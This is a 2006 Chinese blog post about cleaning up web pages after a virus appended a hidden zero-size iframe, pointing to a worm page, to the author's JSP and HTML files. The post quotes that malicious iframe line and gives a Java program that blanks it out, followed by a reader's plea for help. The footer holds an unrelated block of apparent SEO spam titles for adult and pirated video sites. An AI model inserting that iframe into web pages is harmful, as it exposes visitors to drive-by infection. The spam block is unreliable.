<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    小魚的空氣

    記錄我所思

    修復(fù)被病毒修改的網(wǎng)頁

    ???? 前幾天機(jī)器中毒,開始時(shí)只是IE彈彈窗口,后來嚴(yán)重到不可以忍受以至重裝,今天打開一些J以前備份下來的JSP文件看看,每個(gè)文件最后都加上了一行:"<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>",這樣打開這些網(wǎng)頁就可能中招,再看看HTML文件也同樣遭此毒手。

    ???????于是便開始用Java寫個(gè)小程序來修復(fù)這些文件,要高效率地修復(fù)這些文件,看來只能使用RandomAccessFile,因?yàn)槠渌腎O流都是順序讀寫的,而RandomAccessFile可以跳到指定的位置。方法很簡單,計(jì)算一下這行垃圾的起始位置,然后用空格替換之。沒什么好說的,值得注意的是寫空格時(shí),只有用randomAccessFile.writeBytes(" ")才行,其它的寫方法會(huì)寫入亂碼,待探究。
    ???????
    ?????? 下面將代碼貼上,以備忘。

    package?hy;

    import?java.io.File;
    import?java.io.FileNotFoundException;
    import?java.io.FilenameFilter;
    import?java.io.RandomAccessFile;

    public?class?RepairPage?{

    ????
    private?static?int?num;
    ????
    private?String?worm?=?"<iframe?src=http://www.krvkr.com/worm.htm?width=0?height=0></iframe>";


    ????
    public?void?repair(File?page){
    ????????
    //System.out.println("Try?File:"+page.getPath());
    ????????try?{
    ????????????RandomAccessFile?r?
    =?new?RandomAccessFile(page,"rw");
    ????????????
    if(r.length()<70)
    ????????????????
    return;
    ????????????r.seek(r.length()?
    -?70);//跳到最后一行
    ????????????String?shit?=?r.readLine();
    ????????????
    if(shit.equals(worm)){
    ????????????????
    //System.out.println("shit?content:"+shit);
    ????????????????System.out.println("修復(fù)損壞文件:"+page.getPath());
    ????????????????r.seek(r.length()?
    -?70);
    ????????????????
    for?(int?i?=?0;?i?<?worm.length();?i++)?{
    ????????????????????r.writeBytes(
    "?");
    ????????????????}

    ????????????????num?
    ++;
    ????????????}

    ????????}
    ?catch?(Exception?e)?{
    ????????????e.printStackTrace();
    ????????}

    ????}


    ????
    public?void?doDir(File?dir)?{
    ????????
    if?(dir.canRead())?{
    ????????????
    if?(dir.isDirectory())?{
    ????????????????String[]?files?
    =?dir.list();
    ????????????????
    if?(files?!=?null)?{
    ????????????????????
    for?(int?i?=?0;?i?<?files.length;?i++)?{
    ????????????????????????doDir(
    new?File(dir,?files[i]));//?遞歸
    ????????????????????}

    ????????????????}

    ????????????}
    ?else?{//?is?File
    ????????????????String?name?=?dir.getName();
    ????????????????
    if?(name.endsWith("jsp")?||?name.endsWith("html")?||?name.endsWith("htm"))
    ????????????????????repair(dir);
    ????????????}

    ????????}

    ????}


    ????
    public?static?void?main(String[]?args)?{

    ????????File?dir?
    =?new?File("c:\\pages");
    ????????RepairPage?repair?
    =?new?RepairPage();
    ????????repair.doDir(dir);
    ????????System.out.println(
    "修復(fù)成功完成,修復(fù)文件數(shù):"+repair.num);
    ????}


    }

    posted on 2006-12-20 19:23 小魚 閱讀(341) 評論(1)  編輯  收藏

    評論

    # re: 修復(fù)被病毒修改的網(wǎng)頁 2007-12-24 23:25 崩潰邊緣

    你好 我也被類似的病毒感染了

    硬盤里有7000多個(gè)html和htm文件被感染!

    不懂java,有朋友剛學(xué).

    能否幫助一下?

    我的郵箱 369308529@qq.com

      回復(fù)  更多評論   


    只有注冊用戶登錄后才能發(fā)表評論。


    網(wǎng)站導(dǎo)航:
     
    <2025年5月>
    27282930123
    45678910
    11121314151617
    18192021222324
    25262728293031
    1234567

    導(dǎo)航

    統(tǒng)計(jì)

    常用鏈接

    留言簿(3)

    我參與的團(tuán)隊(duì)

    隨筆檔案

    文章檔案

    搜索

    最新評論

    主站蜘蛛池模板: 成年人免费网站在线观看| 国产成人精品免费视频大全麻豆| 亚洲老妈激情一区二区三区| 国产羞羞的视频在线观看免费| 图图资源网亚洲综合网站| 欧美亚洲国产SUV| 国产日韩精品无码区免费专区国产| 亚洲精品理论电影在线观看| 亚洲美日韩Av中文字幕无码久久久妻妇| 久久精品免费大片国产大片 | 亚洲国产精品成人精品无码区在线| 99久热只有精品视频免费看| 国产大陆亚洲精品国产| 亚洲色图.com| 国产精品亚洲高清一区二区| 美女被cao免费看在线看网站| 久久久久久毛片免费看| 亚洲综合精品第一页| 国产精品亚洲成在人线| 狼友av永久网站免费观看| 最近免费中文字幕大全高清大全1 最近免费中文字幕mv在线电影 | 67194成是人免费无码| 国产日韩一区二区三免费高清| 亚洲永久网址在线观看| 亚洲AV无码久久精品色欲| 国产免费卡一卡三卡乱码| 18禁美女黄网站色大片免费观看| 四虎影视在线看免费观看 | 无码色偷偷亚洲国内自拍| 99无码人妻一区二区三区免费 | 亚洲午夜无码久久久久软件| 亚洲色爱图小说专区| 蜜臀91精品国产免费观看| 日本视频一区在线观看免费| 黄色视频在线免费观看| 国产亚洲男人的天堂在线观看 | 中文字幕免费观看| 国产精品99久久免费观看| 一级一级一片免费高清| 国产精品亚洲精品日韩动图| 亚洲自国产拍揄拍|